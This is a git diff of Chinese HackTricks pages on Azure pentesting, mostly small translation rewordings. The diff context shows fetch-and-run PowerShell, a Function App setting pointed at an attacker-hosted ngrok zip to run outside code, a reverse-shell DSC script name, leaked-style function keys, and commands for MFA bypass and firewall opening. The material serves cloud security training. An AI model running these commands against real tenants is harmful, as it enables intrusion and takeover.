配置进行了额外检查,并可以在检测到时尝试登录到本地 ADFS 服务器。 +MFASweep 是一个 PowerShell 脚本,尝试使用提供的凭据 **登录到各种 Microsoft 服务,并尝试识别 MFA 是否已启用**。根据条件访问策略和其他多因素身份验证设置的配置,某些协议可能最终只保留单因素。它还对 ADFS 配置进行了额外检查,并可以在检测到时尝试登录到本地 ADFS 服务器。 ```bash Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content Invoke-MFASweep -Username -Password @@ -126,7 +126,7 @@ Invoke-MFASweep -Username -Password 该工具帮助识别MFA绕过,并在多个生产AAD租户中滥用API,AAD客户认为他们已强制实施MFA,但基于ROPC的身份验证成功。 > [!TIP] -> 您需要具有列出所有应用程序的权限,以便能够生成要进行暴力破解的应用程序列表。 +> 您需要有权限列出所有应用程序,以便能够生成要进行暴力破解的应用程序列表。 ```bash ./ropci configure ./ropci apps list --all --format json -o apps.json @@ -148,12 +148,12 @@ $password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential($username, $password) Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue ``` -因为 **Azure** **门户** **没有限制**,可以 **从门户端点收集令牌以访问之前执行检测到的任何服务**。在这种情况下,识别了 Sharepoint,并请求访问它的令牌: +因为 **Azure** **门户** **没有限制**,可以 **从门户端点获取令牌以访问之前执行检测到的任何服务**。在这种情况下,识别了 Sharepoint,并请求访问它的令牌: ```powershell $token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune Read-JWTtoken -token $token.access_token ``` -假设令牌具有 Sites.Read.All(来自 Sharepoint)的权限,即使由于 MFA 你无法通过网络访问 Sharepoint,仍然可以使用该令牌访问使用生成的令牌的文件: +假设令牌具有 Sites.Read.All(来自 Sharepoint)的权限,即使由于 MFA 而无法通过网络访问 Sharepoint,仍然可以使用该令牌访问带有生成令牌的文件: ```powershell $data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl ``` diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md index 2d0226bb3..49681e77b 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -41,7 +41,7 @@ az rest --method GET \ --url "https://graph.microsoft.com/v1.0/users/" \ --query "otherMails" ``` -## 参考文献 +## 参考 - [https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/](https://www.mnemonic.io/resources/blog/abusing-dynamic-groups-in-azure-ad-for-privilege-escalation/) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index 1b11db8f7..2c0f3cac1 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -14,13 +14,13 @@ 如果有权限读取存储函数数据的存储帐户中的容器,可以找到**不同的容器**(自定义或预定义名称),这些容器可能包含**函数执行的代码**。 -一旦找到函数代码所在的位置,如果您对其具有写入权限,可以使函数执行任何代码,并提升到附加到该函数的托管身份的权限。 +一旦找到函数代码所在的位置,如果对其具有写入权限,可以使函数执行任何代码,并提升到附加到函数的托管身份的权限。 - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`) -函数的代码通常存储在文件共享中。只要有足够的访问权限,就可以修改代码文件并**使函数加载任意代码**,从而提升到附加到函数的托管身份的权限。 +函数的代码通常存储在文件共享中。拥有足够的访问权限后,可以修改代码文件并**使函数加载任意代码**,从而提升到附加到函数的托管身份的权限。 -这种部署方法通常配置设置**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**和**`WEBSITE_CONTENTSHARE`**,您可以从中获取 +此部署方法通常配置设置**`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**和**`WEBSITE_CONTENTSHARE`**,您可以从 ```bash az functionapp config appsettings list \ --name \ @@ -29,7 +29,7 @@ az functionapp config appsettings list \ 这些配置将包含 **Storage Account Key**,函数可以使用它来访问代码。 > [!CAUTION] -> 只要有足够的权限连接到文件共享并 **修改正在运行的脚本**,就可以在函数中执行任意代码并提升权限。 +> 如果有足够的权限连接到文件共享并 **修改正在运行的脚本**,则可以在函数中执行任意代码并提升权限。 以下示例使用 macOS 连接到文件共享,但建议还查看以下页面以获取有关文件共享的更多信息: @@ -55,18 +55,18 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -这个配置通常会包含一个 **SAS URL 以下载** 存储账户中的代码。 +此配置通常会包含一个 **SAS URL 以下载** 存储帐户中的代码。 > [!CAUTION] -> 只要有足够的权限连接到 **包含代码的 zip 的 blob 容器**,就可以在函数中执行任意代码并提升权限。 +> 只要有足够的权限连接到 **包含 zip 中代码** 的 blob 容器,就可以在函数中执行任意代码并提升权限。 - **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` -就像在前一个案例中一样,如果通过 Github Actions 进行部署,可以在存储账户中找到包含代码 zip 的文件夹 **`github-actions-deploy`**,以及设置 `WEBSITE_RUN_FROM_PACKAGE` 中的 zip 的 SAS URL。 +就像在前一个案例中一样,如果通过 Github Actions 进行部署,可以在存储帐户中找到包含代码 zip 的文件夹 **`github-actions-deploy`** 以及设置 `WEBSITE_RUN_FROM_PACKAGE` 中的 zip 的 SAS URL。 - **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` 和 `WEBSITE_CONTENTSHARE`) -有权限读取存储账户中存储函数数据的容器时,可以找到容器 **`scm-releases`**。在这里可以找到最新的 **Squashfs 文件系统文件格式** 的发布,因此可以读取函数的代码: +拥有读取存储函数数据的存储帐户内容器的权限,可以找到容器 **`scm-releases`**。在这里可以找到最新的 **Squashfs 文件系统文件格式** 的发布,因此可以读取函数的代码: ```bash # List containers inside the storage account of the function app az storage container list \ @@ -122,7 +122,7 @@ az storage blob upload \ ```bash az functionapp keys list --resource-group --name ``` -使用主密钥也可以通过以下URL获取源代码: +使用主密钥也可以通过以下 URL 获取源代码: ```bash # Get "script_href" from az rest --method GET \ @@ -133,7 +133,7 @@ curl "?code=" ## Python example: curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v ``` -并要**更改正在执行的代码**,在函数中使用: +并且要**更改正在执行的代码**在函数中: ```bash # Set the code to set in the function in /tmp/function_app.py ## The following continues using the python example @@ -166,7 +166,7 @@ az functionapp keys set --resource-group --key-name --key ### Microsoft.Web/sites/host/systemKeys/write -此权限允许为指定的函数创建/更新系统函数密钥: +此权限允许为指定的函数创建/更新系统功能密钥: ```bash az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` @@ -185,7 +185,7 @@ az rest --method POST \ 这些权限允许列出函数的配置值,如我们之前所见,并且**修改这些值**。这很有用,因为这些设置指示了要在函数内部执行的代码的位置。 -因此,可以设置**`WEBSITE_RUN_FROM_PACKAGE`**的值,指向一个包含要在Web应用程序内部执行的新代码的URL zip文件: +因此,可以设置设置的值**`WEBSITE_RUN_FROM_PACKAGE`**,指向包含要在Web应用程序内部执行的新代码的URL zip文件: - 首先获取当前配置 ```bash @@ -203,9 +203,9 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- 修改函数,保留之前的参数,并在最后添加配置 **`WEBSITE_RUN_FROM_PACKAGE`** 指向包含代码的 **zip** 的 URL。 +- 修改函数,保留之前的参数,并在最后添加配置 **`WEBSITE_RUN_FROM_PACKAGE`**,指向包含代码的 **zip** 的 URL。 -以下是我的 **自定义设置,您需要更改为您自己的值**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这就是我托管应用程序的地方。 +以下是我的 **自定义设置,您需要更改为您自己的值**,请注意最后的值 `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`,这是我托管应用程序的地方。 ```bash # Modify the function az rest --method PUT \ @@ -215,7 +215,7 @@ az rest --method PUT \ ``` ### Microsoft.Web/sites/hostruntime/vfs/write -通过此权限,可以**通过网络控制台(或通过以下API端点)修改应用程序的代码**: +拥有此权限后,可以通过网络控制台(或通过以下API端点)**修改应用程序的代码**: ```bash # This is a python example, so we will be overwritting function_app.py # Store in /tmp/body the raw python code to put in the function @@ -275,7 +275,7 @@ zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ https://.scm.azurewebsites.net/api/zipdeploy ``` -_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用名称,因此:`$`。_ +_请注意,**SCM 用户名** 通常是字符 "$" 后跟应用程序的名称,因此:`$`。_ 您还可以通过 `https://.scm.azurewebsites.net/BasicAuth` 访问网页。 @@ -297,11 +297,11 @@ ls # List get ./function_app.py -o /tmp/ # Download function_app.py in /tmp put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it ``` -_请注意,**FTP用户名**通常采用格式 \\\$\。_ +_请注意,**FTP 用户名** 通常格式为 \\\$\。_ ### Microsoft.Web/sites/publish/Action -根据[**文档**](https://github.com/projectkudu/kudu/wiki/REST-API#command),此权限允许**在SCM服务器内部执行命令**,这可能用于修改应用程序的源代码: +根据 [**文档**](https://github.com/projectkudu/kudu/wiki/REST-API#command),此权限允许在 SCM 服务器内部**执行命令**,这可能用于修改应用程序的源代码: ```bash az rest --method POST \ --resource "https://management.azure.com/" \ @@ -338,13 +338,13 @@ az functionapp config appsettings set \ --resource-group \ --settings "AzureWebJobs.http_trigger1.Disabled=false" ``` -可以在以下URL中查看一个函数是启用还是禁用(使用括号中的权限): +在以下 URL 中也可以查看一个函数是启用还是禁用(使用括号中的权限): ```bash az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01" ``` ### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read) -拥有这些权限可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub(例如)并使该函数执行它。 +拥有这些权限可以**修改由配置为运行容器的函数应用程序运行的容器**。这将允许攻击者将恶意的 azure 函数容器应用程序上传到 docker hub(例如)并使函数执行它。 ```bash az functionapp config container set --name \ --resource-group \ @@ -352,7 +352,7 @@ az functionapp config container set --name \ ``` ### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read) -拥有这些权限可以**将新的用户管理身份附加到函数**。如果该函数被攻破,这将允许将权限提升到任何用户管理身份。 +拥有这些权限可以**将新的用户管理身份附加到函数**。如果函数被攻破,这将允许将权限提升到任何用户管理身份。 ```bash az functionapp identity assign \ --name \ @@ -361,9 +361,9 @@ az functionapp identity assign \ ``` ### 远程调试 -也可以连接以调试正在运行的 Azure 函数,如 [**文档中所述**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。但是,默认情况下,Azure 会在开发者忘记的情况下,在 2 天内将此选项关闭,以避免留下易受攻击的配置。 +也可以连接以调试正在运行的 Azure 函数,如 [**文档中所述**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs)。但是,默认情况下,Azure 会在 2 天内关闭此选项,以防开发人员忘记,从而避免留下易受攻击的配置。 -可以通过以下方式检查一个函数是否启用了调试: +可以通过以下方式检查函数是否启用了调试: ```bash az functionapp show --name --resource-group ``` diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index 4b8638d75..c6f6f1ef3 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -12,7 +12,7 @@ ### Microsoft.KeyVault/vaults/write -具有此权限的攻击者将能够修改密钥保管库的策略(密钥保管库必须使用访问策略而不是RBAC)。 +具有此权限的攻击者将能够修改密钥保管库的策略(密钥保管库必须使用访问策略而不是 RBAC)。 ```bash # If access policies in the output, then you can abuse it az keyvault show --name diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md index 71e5070fc..60e49a520 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md @@ -12,7 +12,7 @@ ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -拥有此权限的攻击者可以从 Azure 存储队列中查看消息。这使攻击者能够查看消息的内容,而不将其标记为已处理或更改其状态。这可能导致对敏感信息的未经授权访问,从而使数据外泄或收集进一步攻击的情报。 +具有此权限的攻击者可以从 Azure 存储队列中查看消息。这使攻击者能够查看消息的内容,而不将其标记为已处理或更改其状态。这可能导致对敏感信息的未经授权访问,从而使数据外泄或收集进一步攻击的情报。 ```bash az storage message peek --queue-name --account-name ``` @@ -32,7 +32,7 @@ az storage message put --queue-name --content "Injected malicious m ``` ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -此权限允许攻击者在 Azure 存储队列中添加新消息或更新现有消息。通过使用此权限,他们可以插入有害内容或更改现有消息,可能会误导依赖于该队列的应用程序或导致系统出现不希望的行为。 +此权限允许攻击者在 Azure 存储队列中添加新消息或更新现有消息。通过使用此权限,他们可以插入有害内容或更改现有消息,从而可能误导依赖于该队列的应用程序或导致系统出现不希望的行为。 ```bash az storage message put --queue-name --content "Injected malicious message" --account-name diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md index 34642a1fd..9f2f703c0 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md @@ -129,7 +129,7 @@ print("----------------------------") ``` ### `Microsoft.ServiceBus/namespaces/authorizationRules/write` & `Microsoft.ServiceBus/namespaces/authorizationRules/write` -如果您拥有这些权限,您可以通过读取或创建共享访问密钥来提升权限。这些密钥允许对 Service Bus 命名空间进行完全控制,包括管理队列、主题以及发送/接收消息,可能绕过基于角色的访问控制 (RBAC)。 +如果您拥有这些权限,您可以通过读取或创建共享访问密钥来提升权限。这些密钥允许对 Service Bus 命名空间进行完全控制,包括管理队列、主题以及发送/接收消息,可能会绕过基于角色的访问控制 (RBAC)。 ```bash az servicebus namespace authorization-rule update \ --resource-group \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md index b0dea5a74..4d95be899 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md @@ -1,8 +1,8 @@ -# Az - SQL Database Privesc +# Az - SQL 数据库权限提升 {{#include ../../../banners/hacktricks-training.md}} -## SQL Database Privesc +## SQL 数据库权限提升 有关 SQL 数据库的更多信息,请查看: @@ -37,7 +37,7 @@ az sql server update \ ``` ### "Microsoft.Sql/servers/firewallRules/write" -攻击者可以操纵 Azure SQL 服务器上的防火墙规则,以允许未经授权的访问。这可以被利用来向特定的 IP 地址或整个 IP 范围(包括公共 IP)开放服务器,从而使恶意行为者能够访问。此后利用活动可以用来绕过现有的网络安全控制,建立持久性,或通过暴露敏感资源来促进环境内的横向移动。 +攻击者可以操纵 Azure SQL 服务器上的防火墙规则,以允许未经授权的访问。这可以被利用来向特定的 IP 地址或整个 IP 范围(包括公共 IP)开放服务器,从而使恶意行为者能够访问。此后渗透活动可以用来绕过现有的网络安全控制,建立持久性,或通过暴露敏感资源来促进环境内的横向移动。 ```bash # Create Firewall Rule az sql server firewall-rule create \ @@ -60,7 +60,7 @@ az sql server firewall-rule update \ ### ""Microsoft.Sql/servers/ipv6FirewallRules/write" -拥有此权限,您可以在 Azure SQL Server 上创建、修改或删除 IPv6 防火墙规则。这可能使攻击者或授权用户绕过现有的网络安全配置,并获得对服务器的未经授权的访问。通过添加允许来自任何 IPv6 地址的流量的规则,攻击者可以使服务器对外部访问开放。 +拥有此权限,您可以在 Azure SQL Server 上创建、修改或删除 IPv6 防火墙规则。这可能使攻击者或授权用户绕过现有的网络安全配置并获得对服务器的未经授权的访问。通过添加允许来自任何 IPv6 地址的流量的规则,攻击者可以使服务器对外部访问开放。 ```bash az sql server firewall-rule create \ --server \ @@ -84,7 +84,7 @@ az sql server ad-admin create \ ``` ### "Microsoft.Sql/servers/azureADOnlyAuthentications/write" && "Microsoft.Sql/servers/azureADOnlyAuthentications/read" -通过这些权限,您可以在 Azure SQL Server 上配置和强制执行“Microsoft Entra 仅限身份验证”,这可能在某些情况下促进特权提升。具有这些权限的攻击者或授权用户可以启用或禁用 Azure AD 仅限身份验证。 +拥有这些权限,您可以在 Azure SQL Server 上配置和强制执行 "Microsoft Entra Authentication Only",这可能在某些情况下促进特权提升。具有这些权限的攻击者或授权用户可以启用或禁用 Azure AD 仅身份验证。 ```bash #Enable az sql server azure-ad-only-auth enable \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md index f6063dd90..72a32d58f 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-storage-privesc.md @@ -34,14 +34,14 @@ az storage account update --name --default-action Allow # e.g. allow an IP address az storage account update --name --add networkRuleSet.ipRules value= ``` -## Blobs Specific privesc +## Blobs 特定的权限提升 ### Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/write | Microsoft.Storage/storageAccounts/blobServices/containers/immutabilityPolicies/delete 第一个权限允许**修改容器中的不可变性策略**,第二个权限允许删除它们。 > [!NOTE] -> 请注意,如果不可变性策略处于锁定状态,则无法执行这两项操作。 +> 请注意,如果不可变性策略处于锁定状态,您无法执行这两项操作。 ```bash az storage container immutability-policy delete \ --account-name \ @@ -70,7 +70,7 @@ az storage container immutability-policy update \ ### Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read) -拥有此权限的攻击者可以为 Azure 存储帐户(配置了分层命名空间)创建和更新(如果拥有 `Microsoft.Storage/storageAccounts/localusers/read` 权限)新的本地用户,包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者以特定权限(如读取(r)、写入(w)、删除(d)和列出(l)等)授予自己对存储帐户的访问。此外,使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。 +拥有此权限的攻击者可以为 Azure 存储帐户(配置为层次命名空间)创建和更新新本地用户(如果拥有 `Microsoft.Storage/storageAccounts/localusers/read` 权限),包括指定用户的权限和主目录。此权限非常重要,因为它允许攻击者授予自己特定权限的存储帐户,例如读取(r)、写入(w)、删除(d)和列出(l)等。此外,使用的身份验证方法可以是 Azure 生成的密码和 SSH 密钥对。没有检查用户是否已存在,因此您可以覆盖已经存在的其他用户。攻击者可以提升他们的权限并获得对存储帐户的 SSH 访问权限,可能会暴露或危害敏感数据。 ```bash az storage account local-user create \ --account-name \ @@ -82,7 +82,7 @@ az storage account local-user create \ ``` ### Microsoft.Storage/storageAccounts/localusers/regeneratePassword/action -通过此权限,攻击者可以重新生成 Azure 存储帐户中本地用户的密码。这使攻击者能够获取该用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可以获得对存储帐户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储帐户内容。 +通过此权限,攻击者可以为 Azure Storage 账户中的本地用户重新生成密码。这使攻击者能够获取该用户的新身份验证凭据(例如 SSH 或 SFTP 密码)。通过利用这些凭据,攻击者可能会获得对存储账户的未经授权访问,执行文件传输或操纵存储容器中的数据。这可能导致数据泄露、损坏或恶意修改存储账户内容。 ```bash az storage account local-user regenerate-password \ --account-name \ @@ -96,7 +96,7 @@ sftp @.blob.core.windows.net ``` ### Microsoft.Storage/storageAccounts/restoreBlobRanges/action, Microsoft.Storage/storageAccounts/blobServices/containers/read, Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的容器,或者在容器内恢复特定的 blob,如果它们之前是软删除的。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。 +通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的容器,或者在容器内恢复特定的 blob(如果它们之前被软删除)。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。 ```bash #Restore the soft deleted container az storage container restore \ @@ -112,7 +112,7 @@ az storage blob undelete \ ``` ### Microsoft.Storage/storageAccounts/fileServices/shares/restore/action && Microsoft.Storage/storageAccounts/read -通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的 Azure 文件共享。此权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。 +通过这些权限,攻击者可以通过指定已删除版本 ID 来恢复已删除的 Azure 文件共享。这种权限提升可能允许攻击者恢复本应永久删除的敏感数据,从而可能导致未经授权的访问。 ```bash az storage share-rm restore \ --storage-account \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md index 49f40a3ef..ec4592e82 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-virtual-machines-and-network-privesc.md @@ -13,7 +13,7 @@ ### **`Microsoft.Compute/virtualMachines/extensions/write`** 此权限允许在虚拟机中执行扩展,从而允许**在其上执行任意代码**。\ -示例:滥用自定义扩展在虚拟机中执行任意命令: +滥用自定义扩展在 VM 中执行任意命令的示例: {{#tabs }} {{#tab name="Linux" }} @@ -87,13 +87,13 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na {{#endtab }} {{#endtabs }} -还可以滥用众所周知的扩展在虚拟机内执行代码或执行特权操作: +还可以利用知名扩展在虚拟机内执行代码或执行特权操作:
VMAccess 扩展 -此扩展允许修改 Windows 虚拟机内用户的密码(或在不存在时创建)。 +此扩展允许修改 Windows 虚拟机内用户的密码(如果不存在则创建)。 ```powershell # Run VMAccess extension to reset the password $cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password @@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "" -VMName "" -Na DesiredConfigurationState (DSC) -这是一个属于微软的**VM扩展**,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,它可以通过此扩展在Windows虚拟机中**执行任意命令**: +这是一个属于微软的**VM扩展**,使用PowerShell DSC来管理Azure Windows虚拟机的配置。因此,可以通过此扩展在Windows虚拟机中**执行任意命令**: ```powershell # Content of revShell.ps1 Configuration RevShellConfig { @@ -157,13 +157,13 @@ Set-AzVMDscExtension ` 混合运行簿工作者 -这是一个虚拟机扩展,允许从自动化帐户在虚拟机中执行运行簿。有关更多信息,请查看[自动化帐户服务](../az-services/az-automation-account/)。 +这是一个 VM 扩展,允许从自动化帐户在 VM 中执行运行簿。有关更多信息,请查看 [Automation Accounts service](../az-services/az-automation-account/)。
### `Microsoft.Compute/disks/write, Microsoft.Network/networkInterfaces/join/action, Microsoft.Compute/virtualMachines/write, (Microsoft.Compute/galleries/applications/write, Microsoft.Compute/galleries/applications/versions/write)` -这些是**创建新的画廊应用程序并在虚拟机中执行它**所需的权限。画廊应用程序可以执行任何操作,因此攻击者可以利用这一点来妥协执行任意命令的虚拟机实例。 +这些是 **在 VM 中创建新的画廊应用程序并执行它** 所需的权限。画廊应用程序可以执行任何操作,因此攻击者可能会利用这一点来妥协执行任意命令的 VM 实例。 最后两个权限可以通过与租户共享应用程序来避免。 @@ -343,7 +343,7 @@ az vm identity assign \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \ /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2 ``` -然后攻击者需要**以某种方式攻陷虚拟机**以窃取分配的托管身份的令牌。查看**更多信息**: +然后攻击者需要**以某种方式破坏虚拟机**以窃取分配的托管身份的令牌。查看**更多信息**: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm diff --git a/src/pentesting-cloud/azure-security/az-services/README.md b/src/pentesting-cloud/azure-security/az-services/README.md index 5e07a0581..2d0e59fd0 100644 --- a/src/pentesting-cloud/azure-security/az-services/README.md +++ b/src/pentesting-cloud/azure-security/az-services/README.md @@ -6,7 +6,7 @@ 您可以在 [**https://msportals.io/**](https://msportals.io/) 找到 **Microsoft 门户的列表**。 -### Raw requests +### 原始请求 #### 通过 Powershell 访问 Azure API @@ -30,7 +30,7 @@ Headers = @{ $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01' $URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups//providers/Microsoft.Compute/virtualMachines/ [!WARNING] -> 请注意,**没有**这些隔离 **防止** 其他常见的 **Web 漏洞**(例如文件上传或注入)。如果使用 **管理身份**,则可能能够 **提升权限**。 +> 请注意,**这些隔离** **并不能防止** 其他常见的 **Web 漏洞**(例如文件上传或注入)。如果使用了 **管理身份**,则可能能够 **提升权限**。 -### Azure Function 应用 +### Azure 函数应用 -基本上 **Azure Function 应用是 Azure App Service 的一个子集**,如果您访问 Web 控制台并列出所有应用服务,或在 az cli 中执行 `az webapp list`,您将能够 **看到 Function 应用也在此列出**。 +基本上,**Azure 函数应用是 Azure 应用服务** 在 Web 中的一个子集,如果您访问 Web 控制台并列出所有应用服务,或在 az cli 中执行 `az webapp list`,您将能够 **看到函数应用也在此列出**。 -实际上,一些与 **安全相关的功能** App 服务使用(az cli 中的 `webapp`),**也被 Function 应用使用**。 +实际上,一些与 **安全相关的功能** 应用服务使用(az cli 中的 `webapp`),**也被函数应用使用**。 ## 基本身份验证 -在创建 Web 应用(通常也是 Azure 函数)时,可以指示是否希望启用基本身份验证。这基本上 **为应用程序启用 SCM 和 FTP**,因此可以使用这些技术部署应用程序。\ +在创建 Web 应用程序(通常也是 Azure 函数)时,可以指示是否希望启用基本身份验证。这基本上 **为应用程序启用 SCM 和 FTP**,因此可以使用这些技术部署应用程序。\ 此外,为了连接到它们,Azure 提供了一个 **API,允许获取用户名、密码和 URL** 以连接到 SCM 和 FTP 服务器。 - 身份验证:az webapp auth show --name lol --resource-group lol_group @@ -87,9 +87,6 @@ az webapp config storage-account list --name --resource-gl_group - - - # List all the functions az functionapp list @@ -174,9 +171,6 @@ echo "Function App Name: $appServiceName" fi done ``` -{{#endtab }} -{{#endtabs }} - #### 获取凭据并访问 webapp 代码 ```bash # Get connection strings that could contain credentials (with DBs for example) diff --git a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md index d89cdb0a9..2462b1149 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md +++ b/src/pentesting-cloud/azure-security/az-services/az-application-proxy.md @@ -4,15 +4,15 @@ ## 基本信息 -[来自文档:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) +[来自文档:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy) -Azure Active Directory 的 Application Proxy 提供 **对本地 web 应用程序的安全远程访问**。在 **单点登录到 Azure AD** 后,用户可以通过 **外部 URL** 或内部应用程序门户访问 **云** 和 **本地应用程序**。 +Azure Active Directory 的 Application Proxy 提供 **对本地 Web 应用程序的安全远程访问**。在 **单点登录到 Azure AD** 后,用户可以通过 **外部 URL** 或内部应用程序门户访问 **云** 和 **本地应用程序**。 -其工作原理如下: +它的工作原理如下:
